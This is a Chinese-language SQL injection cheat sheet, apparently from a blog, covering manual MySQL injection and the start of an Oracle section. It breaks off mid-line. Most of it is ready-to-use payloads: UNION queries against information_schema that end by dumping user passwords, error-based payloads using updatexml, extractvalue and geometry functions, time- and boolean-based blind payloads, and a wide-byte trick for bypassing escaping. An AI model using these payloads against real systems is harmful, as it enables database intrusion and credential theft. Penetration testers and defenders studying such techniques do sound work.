前言
SQL注入的攻击方式根据应用程序处理数据库返回内容的不同,可以分为可显注入、报错注入和盲注。
可显注入
攻击者可以直接在当前界面内容中获取想要获得的内容。
报错注入
数据库查询返回结果并没有在页面中显示,但是应用程序将数据库报错信息打印到了页面中,所以攻击者可以构造数据库报错语句,从报错信息中获取想要获得的内容。
盲注
数据库查询结果无法从直观页面中获取,攻击者通过使用数据库逻辑或使数据库库执行延时等方法获取想要获得的内容。
Mysql 手工注入
联合注入
?id=1' order by 4--+
?id=0' union select 1,2,3,database()--+
?id=0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+
?id=0' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name="users" --+
group_concat(column_name) 可替换为 unhex(Hex(cast(column_name+as+char)))column_name
?id=0' union select 1,2,3,group_concat(password) from users --+
group_concat 可替换为 concat_ws(',',id,users,password )
?id=0' union select 1,2,3,password from users limit 0,1--+
报错注入
1.floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
8.linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
9.multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
10.exp()
select * from test where id=1 and exp(~(select * from(select user())a));
爆库:?id=1' and updatexml(1,(select concat(0x7e,(schema_name),0x7e) from information_schema.schemata limit 2,1),1) -- +
爆表:?id=1' and updatexml(1,(select concat(0x7e,(table_name),0x7e) from information_schema.tables where table_schema='security' limit 3,1),1) -- +
爆字段:?id=1' and updatexml(1,(select concat(0x7e,(column_name),0x7e) from information_schema.columns where table_name=0x7573657273 limit 2,1),1) -- +
爆数据:?id=1' and updatexml(1,(select concat(0x7e,password,0x7e) from users limit 1,1),1) -- +
concat 也可以放在外面 updatexml(1,concat(0x7e,(select password from users limit 1,1),0x7e),1)
盲注
时间盲注
常用函数sleep
()
分割函数 substr
、substring
、left
分割函数编码后可不用引号,ascii
() hex
()
一般时间盲注我们还需要使用条件判断函数
if(expre1
,expre2
,expre3
)
当 expre1
为true
时,返回 expre2
,false
时,返回expre3
- ?id=1’ and if(ascii(substr(database(),1,1))>115,1,sleep(5))–+
?id=1’ and if((substr((select user()),1,1)=‘r’),sleep(5),1)–+
布尔盲注
?id=1' and substr((select user()),1,1)='r' -- +
?id=1' and IFNULL((substr((select user()),1,1)='r'),0) -- +
//如果IFNULL
第一个参数的表达式为 NULL
,则返回第二个参数的备用值,不为 Null
则输出值
- ?id=1’ and strcmp((substr((select user()),1,1)=‘r’),1) – +
//若所有的字符串均相同,STRCMP
() 返回 0,若根据当前分类次序,第一个参数小于第二个,则返回 -1 ,其它情况返回 1
insert,delete,update
这种注入会出现在 注册、ip头、留言板等等需要写入数据的地方,如用sqlmap
会产生大量垃圾数据
尝试性插入、引号、双引号、转义符 \ 让语句不能正常执行,然后如果插入失败,更新失败,然后深入测试确定是否存在注入
二次注入和宽字节注入
二次注入:
没有单引号的sql语句中,进行16进制编码,这样就不会带有单引号
宽字节注入:
单引号转义为 ’ ,mysql
会将 \ 编码为 %5c ,宽字节中两个字节代表一个汉字,所以把 %df 加上 %5c 就变成了一个汉字“運”,从而绕过转义
Oracle 手工注入
联合注入
?id=-1' union select user,null from dual--
?id=-1' union select version,null from v$instance--
?id=